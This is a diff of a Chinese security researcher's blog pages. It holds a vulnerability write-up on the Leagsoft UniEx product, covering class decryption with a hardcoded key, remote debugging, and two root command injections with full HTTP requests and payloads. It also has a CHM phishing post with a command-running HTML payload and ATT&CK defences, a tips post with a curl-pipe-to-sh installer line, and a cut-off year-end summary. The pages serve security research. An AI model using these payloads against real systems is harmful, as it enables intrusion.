+            AgentTransformer tran = new AgentTransformer(EncryptUtils.rsk(new String(by)).toCharArray());
+            inst.addTransformer(tran);
+        }
+
+    }
+}
+

这里可以看到,它是先通过ECFileConfig初始化,然后解密读取Ini/ec.file

跟进ECFileConfig.getConfig()

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+
public class ECFileConfig {
+    private static Map<String, String> configMap = null;
+
+    public ECFileConfig() {
+    }
+
+    private static void iniConfig() {
+        if (configMap == null) {
+            INIImpl ini = ECFileIni.getIni();
+            configMap = ini.getProperties("ECFile");
+        }
+    }
+
+    public static Map<String, String> getConfig() {
+        iniConfig();
+        return configMap;
+    }
+}
+
+//// ECFileIni.getIni();
+
+public class ECFileIni {
+    private static String file = "../../Ini/ECFile.ini";
+    private static INIImpl self = null;
+
+    static {
+        self = init();
+    }
+
+    public ECFileIni() {
+    }
+
+    private static INIImpl init() {
+        String code = FileEncode.getFileEncode(file);
+        INIImpl iniFile = "asci".equals(code) ? INIUtil.getInstance(file) : INIUtil.getInstance(file, code);
+        return iniFile;
+    }
+
+    public static String getStringProperty(String section, String property) {
+        String rs = self.getStringProperty(section, property);
+        return "null".equals(rs) ? null : rs;
+    }
+
+    public static INIImpl getIni() {
+        return self;
+    }
+}
+

恰好我在服务器上找到了这个文件 ECFile.ini :

6

再看看AgentTransformer 的实现:

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+
public class AgentTransformer implements ClassFileTransformer {
+    private char[] pwd;
+
+    public AgentTransformer(char[] pwd) {
+        this.pwd = pwd;
+    }
+
+    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain domain, byte[] classBuffer) {
+        if (className != null && domain != null && loader != null) {
+            String projectPath = domain.getCodeSource().getLocation().getPath();
+            projectPath = JarUtils.getRootPath(projectPath);
+            if (StrUtils.isEmpty(projectPath)) {
+                return classBuffer;
+            } else {
+                className = className.replace("/", ".").replace("\\", ".");
+                byte[] bytes = JarDecryptor.getInstance().doDecrypt(projectPath, className, this.pwd);
+                return bytes != null && bytes[0] == -54 && bytes[1] == -2 && bytes[2] == -70 && bytes[3] == -66 ? bytes : classBuffer;
+            }
+        } else {
+            return classBuffer;
+        }
+    }
+

AgentTransformer 重写了ClassFileTransformertransform方法,将每一个class和密码放入JarDecryptor.doDecrypt进行解密,最终返回字节码。

再来看看JarDecryptor.doDecrypt的实现:

7

通过readEncryptedFile 方法读取**META-INF/.classes/** 下的class文件进行解密。

回到文件目录,在META-INF下发现了许多加密的class字节码文件:

8

这里我通过编写一个类,调用JarDecryptor.doDecrypt对全部class进行了解密:

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+
import com.leagsoft.declass.util.ECFileConfig;
+import com.leagsoft.declass.util.EncryptUtils;
+import com.leagsoft.declass.util.IoUtils;
+import com.leagsoft.declass.util.StrUtils;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.util.Map;
+
+public class Main {
+    private static final String ENCRYPT_PATH = "UniEx/META-INF/.classes/";
+    private static final String DECRYPT_PATH = "UniEx-decode/UniExdecrypt/";
+
+    private static char[] getPassword(){
+        try {
+            File file = new File("UniEx/ec.file");
+            Map<String, String> configMap = ECFileConfig.getConfig();
+            byte[] bytes = IoUtils.readFileToByte(file);
+            String pf = "UniNXG-KUv1N5FQr9NtPWnK5UpJ8nnM3blCH9jYtGoXeo0bsXowOffDnW2o0DaVo41ZblSF0tNow5dPxVn8odAS9l4QxCiSvGTXhbliZF9W";
+            byte[] by = EncryptUtils.de(bytes, pf.toCharArray(), 1);
+            char password[] = EncryptUtils.rsk(new String(by)).toCharArray();
+            System.out.println(password);
+            return password;
+        } catch (Exception e) {
+            System.out.println(e);
+        }
+         return null;
+    }
+
+    public static void main(String[] args) throws Exception {
+        char password[] = getPassword();
+        File classFiles = new File(ENCRYPT_PATH);
+        File[] fs = classFiles.listFiles();
+        for (File classFile : fs){
+            System.out.println(classFile.getAbsolutePath());
+            File file = new File(ENCRYPT_PATH, classFile.getName());
+            byte[] bytes = IoUtils.readFileToByte(file);
+            if (bytes == null) {
+                return ;
+            } else {
+                char[] pass = StrUtils.merger(new char[][]{password, classFile.getName().toCharArray()});
+                bytes = EncryptUtils.de(bytes, pass, 1);
+                System.out.println("正在解密... " + classFile.getName());
+                try{
+                    File outFile = new File(DECRYPT_PATH+ classFile.getName()+".class");
+                    if (!outFile.exists()){
+                        outFile.createNewFile();
+                    }
+                    FileOutputStream outputStream = new FileOutputStream(outFile);
+                    outputStream.write(bytes);
+                }catch (Exception e){
+                }
+            }
+        }
+    }
+}
+

9

跑一下Main方法就能将所有的加密class字节码文件还原,大功告成。

远程调试Tomcat

修改Tomcat安装目录下bin/catalina.sh 文件,通过定义catalina的配置选项可以在tomcat启动时开启远程调试端口。

修改文件:/home/leagsoft/SafeDataExchange/Apache/bin/catalina.sh

10

加入内容:

1
+
CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:9999"
+

然后重启tomcat就可以进行远程调试了。 +15

打开idea,将原本没有方法实现的class替换为已经解密的class,添加远程调试配置:

这里我替换了:

WEB-INF/classes/com/leagsoft/nxg/dlp/controller/FileTrackMarkMessageController.class

11

添加一个调试配置,点击Edit Configurations:

12

点击添加按钮,新增一个Remote配置:

13

填入远程调试的IP地址和端口:

14

然后在要调试的方法下断点,点击调试按钮,控制台会提示已经连接到目标JVM:

16

当访问到对应的控制器,并且代码执行时,断点会生效:

17

通过观察调用栈、局部变量的值可以很方便的帮助我们进行输入输出的判断。

后台命令执行一

通过审计发现FileTrackMarkMessageController.class中的getUploadFileID 方法调用了Runtime.getRuntime().exec 可能会存在命令执行漏洞。

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+
public void getUploadFileID(HttpServletRequest request, HttpServletResponse response) throws Exception {
+        List<FileItem> fileList = new ArrayList();
+        ModelAndViewUtil.getMultiParamterMap(request, fileList);
+        String separator = File.separator;
+        File detect = new File(".." + separator + ".." + separator + "Bin");
+        if (!detect.exists()) {
+            detect.mkdirs();
+        }
+
+        JObject jo = new JObject();
+        if (fileList.size() > 0) {
+            String fileID = "";
+            Iterator var8 = fileList.iterator();
+
+            while(var8.hasNext()) {
+                FileItem file = (FileItem)var8.next();
+                String simpleName = SysUtils.getSimpleName(file.getName().replaceAll("\\\\", "/"));
+                file.write(new File(".." + separator + ".." + separator + "Bin" + separator + simpleName));
+                String postfix = simpleName.substring(simpleName.lastIndexOf(".") + 1, simpleName.length());
+                String comd = ".." + separator + ".." + separator + "Bin" + separator + "ClairDeLune printall " + "\"" + ".." + separator + ".." + separator + "Bin" + separator + simpleName + "\"" + " " + postfix;
+                Process p = null;
+                String[] command = new String[]{"/bin/sh", "-c", comd};
+                p = Runtime.getRuntime().exec(command);
+
+                .......
+
+    }
+

我们的输入点是request对象,它被传入了getMultiParamterMap方法,跟进查看:

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+
public static Map<String, String> getMultiParamterMap(HttpServletRequest request, List<FileItem> fileList) throws FileUploadException {
+        Map<String, String> param = new TreeMap();
+        FileItemFactory factory = new DiskFileItemFactory();
+        ServletFileUpload upload = new ServletFileUpload(factory);
+        List items = null;
+
+        try {
+            items = upload.parseRequest(request);
+        } catch (Exception var10) {
+            LOG.error(var10.getMessage());
+        }
+
+        ......
+        return param;
+    }
+

request 被传入了ServletFileUpload,看来是一个文件上传的数据包。

构造一个文件上传的数据包发送过去调试看看:

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+
POST /UniEx/fileTrackMarkMessage/getUploadFileID.htm HTTP/1.1
+Host: 192.168.117.100
+Content-Length: 181
+Cache-Control: max-age=0
+Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
+Sec-Ch-Ua-Mobile: ?0
+Sec-Ch-Ua-Platform: "macOS"
+Upgrade-Insecure-Requests: 1
+Cookie: JSESSIONID=5D3B2F3A86C3F73FC8FA267D3D5603D5;
+Referer: https://192.168.49.100/UniEx/login.jsp
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymo440JkALdwNUIKs
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+Sec-Fetch-Site: cross-site
+Sec-Fetch-Mode: navigate
+Sec-Fetch-User: ?1
+Sec-Fetch-Dest: document
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+
+------WebKitFormBoundarymo440JkALdwNUIKs
+Content-Disposition: form-data; name="file"; filename="1.png"
+Content-Type: image/png
+
+123
+------WebKitFormBoundarymo440JkALdwNUIKs--
+

此时局部变量的值:

18

我发现文件名被带入了/bin/sh -c 意味着文件名也可以作为命令执行,由于前面有进行文件扩展名的获取解析,这个方法会取文件名的最后一个. 作为分割,把扩展名取得后拼接在最后面,最好的命令注入点是文件扩展名,最终我的payload如下:

1
+
file.`touch${IFS}222222`
+

19

利用````和${IFS}替代空格 在shell中的特点,可以达到任意命令执行的目的,我还发现它的java服务是以root用户启动的,意味着获取这个命令执行的权限就是最高权限。

20

后台命令执行二

com.leagsoft.uex.sysparam.controller.NoticeConfigController.class 中的testNoticeEmailAction方法存在命令注入,在调用JavaShellUtil.executeCommand方法时,将用户输入带入了bash脚本后面,但LeagUtil.filterCmdParams对输入的值进行了过滤替换,不过因为参数没有放入单引号中,可以使用; 对前面的脚本进行闭合,从而绕过限制执行任意命令。

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+
public void testNoticeEmailAction(HttpServletRequest request, HttpServletResponse response) throws IOException {
+        Map<String, String> emailMap = new HashMap();
+        Map<String, String[]> map = request.getParameterMap();
+        Set<Entry<String, String[]>> set = map.entrySet();
+        Iterator it = set.iterator();
+
+        while(it.hasNext()) {
+            Entry<String, String[]> entry = (Entry)it.next();
+            emailMap.put(entry.getKey(), ((String[])entry.getValue())[0]);
+        }
+
+        String random = (String)emailMap.get("random");
+        String mailPwd = RC4.RC4DecodeForJS((String)emailMap.get("mailSendPwd"), random);
+        emailMap.put("mailSendPwd", mailPwd);
+
+        try {
+            JavaShellUtil.executeCommand("/home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh " + LeagUtil.filterCmdParams((String)emailMap.get("mailServerAddr")) + " " + LeagUtil.filterCmdParams((String)emailMap.get("mailServerPort")), false);
+            log.info("excute shell command : /home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh {} {}", emailMap.get("mailServerPort"), emailMap.get("mailServerPort"));
+        } catch (IOException var13) {
+            log.error("excute /home/leagsoft/SafeDataExchange/Bin/dataex_iptables.sh error", var13);
+        }
+.....
+// LeagUtil.filterCmdParams
+
+public static String filterCmdParams(String cmdParams) {
+        if (StringUtils.isEmpty(cmdParams)) {
+            return cmdParams;
+        } else {
+            String afterParams = cmdParams.replaceAll("`", "");
+            if (!StringUtils.isEmpty(afterParams) && afterParams.contains("$(")) {
+                afterParams = afterParams.replaceAll("\\$", "");
+            }
+
+            log.info("before cmdParams:{},after filter cmdParams:{}", cmdParams, afterParams);
+            return afterParams;
+        }
+    }
+

发送数据包:

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
POST /UniEx/noticeConfig/testNoticeEmailAction.htm HTTP/1.1
+Host: 192.168.117.100
+Cache-Control: max-age=0
+Cookie: JSESSIONID=F9DA84D287041E1F8E09234CAA3EAB58;
+Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
+Sec-Ch-Ua-Mobile: ?0
+Sec-Ch-Ua-Platform: "macOS"
+Upgrade-Insecure-Requests: 1
+Origin: null
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
+Referer: https://192.168.117.100/UniEx/login.jsp
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+Sec-Fetch-Site: cross-site
+Sec-Fetch-Mode: navigate
+Sec-Fetch-User: ?1
+Sec-Fetch-Dest: document
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 78
+
+random=123&mailSendPwd=123&mailServerAddr=;touch%20/tmp/222&mailServerPort=123
+

思考

这款产品使用了javassist的动态执行技术,但是java始终还是java,我们只需要hook或者针对它最上层的代码进行研究即可,于是我根据本次漏洞挖掘,编写了一个工具:Rvn0xsy/DumperAnalyze: 通过JavaAgent与Javassist技术对JVM加载的类对象进行动态插桩,可以做一些破解、加密验证的绕过等操作 (github.com)

通过JavaAgent与Javassist技术对JVM加载的类对象进行动态插桩,可以做一些破解、加密验证的绕过等操作。

\ No newline at end of file diff --git a/archivers/2023-09-18/phishing/index.html b/archivers/2023-09-18/phishing/index.html new file mode 100644 index 0000000..7ff47ff --- /dev/null +++ b/archivers/2023-09-18/phishing/index.html @@ -0,0 +1,37 @@ +邮件钓鱼与T1218.001 - 倾旋的博客 +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

18 +Sep 2023

邮件钓鱼与T1218.001

背景

0

今天中午看到一份关于Bitter组织针对亚太地区能源部门发起钓鱼活动分析报告,其中@Ryan Robinson 2023年3月24日对该组织使用的CHM样本进行了分析。于是开始详细了解为什么CHM格式在钓鱼中可以发挥如此大的价值。

CHM文件打开的过程

CHM文件是各种内容的压缩编译,如HTML文档,图像和脚本/Web相关的编程语言,在CHM打开时,会调用IE浏览器的基础组件解析显示,双击打开CHM文件其实本质上是创建了一个hh.exe的进程。

1

CHM的Payload

CHM文件可以通过hh.exe进行反编译:

1
+
hh.exe -decompile %temp%  payload.chm
+

如何构建CHM文件?

可以使用Microsoft HTML Help Workshop工具创建CHM文件,FILES指的是目录,OPTIONS指的是文档基本信息:

2

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+
<html>
+    <head>
+<OBJECT id="Test" type="application/x-oleobject" classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" codebase="hhctrl.ocx#Version=5,02,3790,1194" width="1" height="1">
+<PARAM name="Command" value="ShortCut">
+<PARAM name="Button" value="Bitmap:shortcut">
+<PARAM name="Item1" value=",cmd.exe, /c calc.exe">
+<PARAM name="Item2" value="273,1,1">
+</object>
+<script>
+Test.HHClick();
+</script>
+</head>
+<body>
+<h1>Hello</h1>
+</body>
+</html>
+

在这段代码中,调用了hhctrl.ocxCOM组件,该组件的方法可以执行命令:

3

COM组件方法列表:CLSID 52A2AAAE-085D-4187-97EA-8C30DB990436 | HHCtrl Object | STRONTIC

4

Atomic atomic-red-team/atomics/T1218.001/src/T1218.001.html at master · redcanaryco/atomic-red-team (github.com) 给出的测试用例代码调用的是Click方法,我测试了HHClick也能够触发。

我在本地尝试编译了一个弹出计算器的CHM文档,上传至VirusTotal进行分析:

5

在ATT&CK中也提到有攻击组织采用调用ActiveX对象的方法来对文件进行操作,这个过程可能不会创建进程:

6

CHM文件执行命令的防御措施

这里可以直接总结一下ATT&CK矩阵上的建议:

  1. 阻止CHM文件的下载
  2. 进程监控,监视和分析hh.exe的执行和参数。将最近调用的hh.exe与已知良好参数的先前历史记录进行比较,以确定异常和潜在的对抗性活动(例如:混淆和/或恶意命令)。非标准进程执行树也可能指示可疑或恶意行为,例如,如果hh.exe是与其他对抗性技术相关的可疑进程和活动的父进程。

参考

\ No newline at end of file diff --git a/archivers/2023-10-31/good-habits/index.html b/archivers/2023-10-31/good-habits/index.html new file mode 100644 index 0000000..d52790f --- /dev/null +++ b/archivers/2023-10-31/good-habits/index.html @@ -0,0 +1,109 @@ +需要保持的几个好习惯 - 倾旋的博客 +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

31 +Oct 2023

需要保持的几个好习惯

使用带密码的私钥

使用带密码的私钥能够确保公私钥文件被窃取后,依然无法使用。

1
+2
+3
+4
+5
+
# ssh-keygen 命令
+$ ssh-keygen -t rsa -f secret-key
+Generating public/private rsa key pair.
+Enter passphrase (empty for no passphrase): # 输入密码
+Enter same passphrase again: # 输入密码
+

0

使用命令行提示工具 oh-my-zsh

oh my zsh

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+16
+
$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
+
+$ vim .zshrc
+
+# 我使用的插件
+plugins=(
+git 
+docker 
+zsh-syntax-highlighting 
+zsh-autosuggestions 
+zsh-completions 
+copyfil    
+e emoji
+extract
+sudo
+)
+

使用更好的替代命令

在Linux命令行下,会经常使用系统命令进行工作,但是内置的命令功能很单一,需要做一些增强,我这里摘取部分配置:

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+
# https://github.com/AmineZouitine/rmt.rs
+# 删除文件备份
+alias rm='rmt'
+# https://github.com/lsd-rs/lsd
+# 查看文件列表高亮
+alias ls='lsd'
+# 使用pyenv管理Python环境
+eval "$(pyenv init -)"
+# 这里放一些零散的二进制文件工具
+export PATH=$HOME/.local/bin:$PATH
+# 这里放一些常用的管理系统的Bash脚本
+export PATH=$HOME/scripts:$PATH
+

将后台程序变成服务

后台程序就是那些没有界面,但是需要命令行运行的程序,这类程序我其实不太喜欢将他们单独运行在一个终端中,Linux\Windows\MacOS都有提供创建服务的功能,我这里举例Clash服务的管理:

1

通过systemctl可以控制Clash服务的启动和暂停,在scripts目录中放置了操作iptables转发规则的脚本:

2

MacOS可以通过创建,需要创建一个以plist 扩展名的XML文件:

 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+ 9
+10
+11
+12
+13
+14
+15
+
<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
+          "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+    <key>Label</key>
+    <string>com.clash.myservice</string>
+    <key>Program</key>
+    <string>/path/to/your/clash</string>
+    <key>RunAtLoad</key>
+    <true/>
+    <key>KeepAlive</key>
+    <true/>
+</dict>
+</plist>
+

将 clash.plist 文件移动到MacOS的LaunchAgents目录中:

1
+2
+3
+4
+5
+
$ mv clash.plist ~/Library/LaunchAgents/
+$ launchctl load ~/Library/LaunchAgents/clash.plist
+$ launchctl enable gui/501/clash 
+$ launchctl stop clash
+$ launchctl start clash
+

保持使用浏览器收藏夹的好习惯

大概在去年Chrome翻译服务被ban以后,开始使用Edge,在国内同步相对比较方便,因此做了一下迁移,目前使用起来感觉良好。

3

使用命令切换Java环境版本

Arch Linux可以通过archlinux-java命令切换Java版本:

4

Java - ArchWiki

5

使用DoH/DoT保护DNS隐私

DoH(DNS over HTTPS)是一种安全的DNS协议扩展,它通过使用HTTPS协议对DNS查询进行加密来保护DNS通信的隐私和安全性。

传统的DNS协议(DNS over UDP/TCP)在传输过程中是明文的,这意味着网络上的任何人都可以查看和截取DNS查询和响应的内容。这可能会导致个人隐私泄露、信息篡改和劫持等问题。

DoH通过将DNS流量封装在加密的HTTPS连接中来解决这些问题。它使用SSL/TLS协议对DNS查询和响应进行加密,确保数据的机密性和完整性。这使得DNS流量看起来和其他HTTPS流量一样,很难被识别和干扰。

由于我的Clash是开机自动启动的,本机的所有DNS流量都会转发到Clash,因此我只需要配置Clash的NameServer即可:

6

在浏览器(Edge)层面可以直接设置:

7

手机层面也可以通过导入描述文件:

https://github.com/paulmillr/encrypted-dns

8

常用Todo工具

有些时候想做一件事情(临时决定),但是当下没有时间,不能让想法只停留在想法上,我会使用Todo类的工具进行记录,iPhone/MacOS上都有一个名字叫“提醒”的软件,能够实现设备同步,但最早我是使用Microsoft To Do.

9

使用Z-library收集书籍

10

在学习比较体系的知识的时候,我往往会先搜索相关书籍,然后将书籍的电子版保存下来。Z-library是全球最大的线上图书馆了,陆陆续续我的书单也丰富了起来:

11

\ No newline at end of file diff --git a/archivers/2023-12-29/year-end-summary/index.html b/archivers/2023-12-29/year-end-summary/index.html new file mode 100644 index 0000000..8083f90 --- /dev/null +++ b/archivers/2023-12-29/year-end-summary/index.html @@ -0,0 +1,3 @@ +2023年终总结 - 你好2024! - 倾旋的博客 +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

29 +Dec 2023

2023年终总结 - 你好2024!

前言

2023年转眼过去,好像2022年-2023年很少写总结了,心血来潮在元旦来临之前花了一些时间给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会总结一下这近两年以来自己做的一些事情和成长。

在上周末看到阮老师的周刊的标题:科技爱好者周刊(第 283 期):[年终感想] 没有目的地,向前走,主要内容为BaseCamp 公司创始人 Jason Fried 的一篇短文提到“我做事,我尝试,我建造,我想要取得进步,我想让我做的东西使得自己、使得公司、使得家庭、使得社会变得更好。但我从未设定过目标。这不是我做事的方式。”看完这篇短文,思考了一下好像我也没有什么确切具体的目标,虽说确切具体的目标对于个人来说是会起到激励的作用,但这一年我对自己的要求没有以往那么苛刻了,在这种状态下收获了很多从未有过的体验。

2023这一年的工作感想

2022年做了许多重大的决定,其中对生活节奏影响较大的就是换了一份工作,由红队研究员的身份转向一个对安全运营视角进行有效性验证的安全研究员,大概是2022年9月底从老东家离职,写了一篇《我的三年红队生涯总结》宣告自己的红队工作告一段落,开始拥抱新的视角,拓展更广的视野,对安全工作的理解也慢慢发生改变。起初刚加入创业公司,节奏还是能够快速适应的,首先就是工作的交付形式开始转变,从项目的阶段性成果转变成产品相关的测试用例、新技术的调研与应用、与头部企业的安全负责人交流实践经验等等,做产品和做业务有很大的区别,产品功需要更加精细化,对每个功能的要求都应当非常高,才会产生价值,是一个需要内心始终与用户对话的工作形式,所有的产品最初都需要打磨,都需要反馈才能变得更好,这个过程对比此前进行的项目交付,显得节奏感慢了很多,而项目是一个短周期、阶段性的事务。

再者就是参与到产品的建设中经常可以获得一些正反馈,这是我的动力源,应用的每个技术方案都会通过更新流转到每个用户面前,类比于红队获取了一个目标权限等同。在前几个月的时候,和前辈聊天提到“对手”这个词,前辈说我现在没有对手了,没有对手就会影响到一个人的动力,以往的环境是天天有竞争的,红蓝队伍的对抗,一场场攻防演练,一个个排名,外部的对手数不胜数,所以每次竞争后都会变得更有力量,而现在需要从自身寻找对手,这个对手就是自己,从头梳理自己对企业安全建设的理解,去学习别人的最佳实践,思考事物为何如此发展,善用平台的资源和力量。

入职后先后接手了终端安全验证、勒索软件验证、AD域安全验证、RASP验证,重新设计了很多次不同验证方向的闭环方案,也接触了何谓“有效性验证”、何谓“安全能力验证”,如果用一句话概括我做的事情就是:“企业先有安全建设,后有安全运营,安全建设积累安全能力,安全运营积累最佳实践,验证安全能力提高安全建设水平,验证安全运营有效性提升实践能力。“

其实我的大部分时间不只是在做攻击模拟,而是在建立反向验证的思维逻辑,以及应用/研究一套可行性较高、成本较低的验证方案。举例终端安全来说,验证的维度其实非常广,覆盖了ATT&CK矩阵的大部分技术项,而从终端安全防御视角来看,大部分攻击都可以通过操作系统遥测事件输入威胁识别模型识别哪些命令、行为是攻击从而分析出来终端是否受到了攻击。攻击模拟就是在不影响系统安全性的情况下完成一次或多次的攻击回放,回放技术做的越好、越真实、越能体现归因(这个攻击被检测了吗?被谁检测的?响应时间多长?若不能检测,该如何检测),价值就越大,这里摸爬滚打一路过来遇到很多难点就不展开陈述了。

总的来说,建立反向验证思维,可以让安全工作做的更可信,更容易量化分析。在我设计好一套验证方案后,输出的验证结果反应出了安全能力的很多问题,这些是我以往在红队视角无法想象的,可能是攻击特征很明显的命令,某安全产品竟然没有告警?还有的时候想去验证一些自己的Bypass思路,发现有的安全产品也无法检测,终于真正站在一个中立视角、科学的验证安全能力。

在今年工作的最后的一天,同事发来了一个“MBI-GS职业倦怠量表“,经过测试我得到了23分的结果,工作状态良好。

什么是工作倦怠

“职业倦怠症”又称“职业枯竭症”,它是一种由工作引发的心理枯竭现象,是上班族在工作的重压之下所体验到的身心俱疲、能量被耗尽的感觉,这和肉体的疲倦劳累是不一样的,而是缘自心理的疲乏。

工作倦怠方面最权威、最常用的量表——MBI-GS(Maslach Burnout Inventory-General Survey)。2002年,李超平获得该问卷开发者Michael Leiter教授的授权,在国内修订MBI-GS。结果表明:该量表在国内具有较好的信度和效度。该量表包括三部分:情绪衰竭(Emotional Exhaustion)、玩世不恭(Cynicism)和成就感低落(Reduced Personal Accomplishment)。情绪衰竭分量表包括5道题,玩世不恭分量表包括5道题,成就感低落分量表包括6道题,整个问卷共16道题。该量表采用利克特7分等级量表,0代表“从不”,6代表“非常频繁”。

在做这个问卷的过程中,有很多或者几乎都是,需要从自身的工作感受出发进行作答的问题,以前和朋友、领导多少都发表过对于一份工作的观点,在不同时间的节点,我都会思考做事的意义,在抓住能让自己变得更好的前提下,总能得到正向的反馈,这种感觉可以持续推动我成长下去。

2023这一年的生活感想

今年经历太多无法言说的事情了,我始终抱着过去发生的、经历的,总能成为将来自己的一部分,让我带着它继续的走向明天。这一年认识了新朋友,接触了很多不一样的观点,觉得自己人生的岁岁年年真的才刚开始,我开始阅读更多类别的书籍、尝试不一样的食物、锻炼自己的身体、掌控自己的时间,也学会适当的放松自己、爱自己,以一个旁观者的身份回顾自己,用今天的经验去总结过去某个时刻的自己所做出的选择,然后再回到现实中,感受都会无比通透,让所经历的苦难、快乐能真正成为自己的一部分。

我经常会担心忘记自己某天某时某刻某地所见所闻所想,能够引起我情绪波动的事物我都会放开自己的去感受它,这样对比起曾经的自己变化还是挺大的。

下面回顾我这一年的每个月,我都写了一句送给自己的话。

一月份,在新疆过了农历新年,排除疫情的两年以外,与往年一样,吃了许多新疆美食,家人也想让我多吃一点,总担心我一个人在外面吃得不好,穿的不好。在今年过生日之前,我对于至亲总会离去这件事感觉很遥远,虽然没有发生,但人总会经历,记得在网上看到过,有些男人可能一夜就会长大。

“其实我很好,只是回到家里,我好像无法褪去孩子的身份与模样,超幸福的。”

二月份,去见了北京的老朋友,郭师傅还是一样我没变,他也没变。突然发现我有一个特质,就是朋友一开始认识我时是什么样,不管多久,见到我时我还是始终一样。简单跟郭师傅学习了单反的使用,原来摄影这件事也很酷,我好像还没有很多其他的爱好。

“羡慕有许多爱好的人,在不喜欢工作的时候可以通过其他爱好补充能量。”

三月份,和同事们一起去了一次环球影城,果然诚不欺吾,唯一不足的就是人真的太多了,从未能想象到原来游乐园可以这么好玩,从早到晚的一天几乎都在排队,累到脚都不想着地,还是钱包够硬才能痛快。

“今年在知乎上刷到一个问题,大概意思是游乐场为什么不能线上取号,排队真的能快乐吗?我比较认同一个答案:排队是游乐园的一环。【热闹】【期待感】【获得感】是游乐场重要的一部分。”

四月份,已经回到上海工作了,这个我陌生又熟悉的城市,相比于北京好像这里我更容易找到自己的生活节奏,能走在街头感受人海车流,脑海中还能做一些闲暇的思考,可快可慢,允许我自己进行调节。翻开相册和博客,2018年的那个四月,也如近日一样逐渐成为人生重要的节点。

“我们都要好好生活,好好找到自己的节奏,不盲目活在他人的节奏之下。”

五月份,和上海的朋友聚了聚,他们开始关注身体健康,普遍走向三高,我貌似并没有这种焦虑,体检的时候医生竟然说我是最好的,讲的我都有点不自信了。

“我的朋友们啊,虽然不经常联系,如果可以见面,我们都保持曾经最好的状态就太好了,祝愿所有的人都身体健康。”

六月份,在飞机上拿了一份报纸,其中有一篇文章《“断亲”现象背后的社会根源》提到了几个根源:

  1. 人口少子化可能催生了“断亲族”,亲戚数量少、交往不够
  2. 家庭结构和家庭关系的变迁,城市化和人口流动将家庭结构小型化
  3. 对于“孝道”的理解也有了时代新的内涵,出现了代际之间的差异
  4. 当下年轻人面临着诸多的现代社会压力,比如当下流行的“社交恐惧症”等网络用语也许能帮助我们窥见一斑

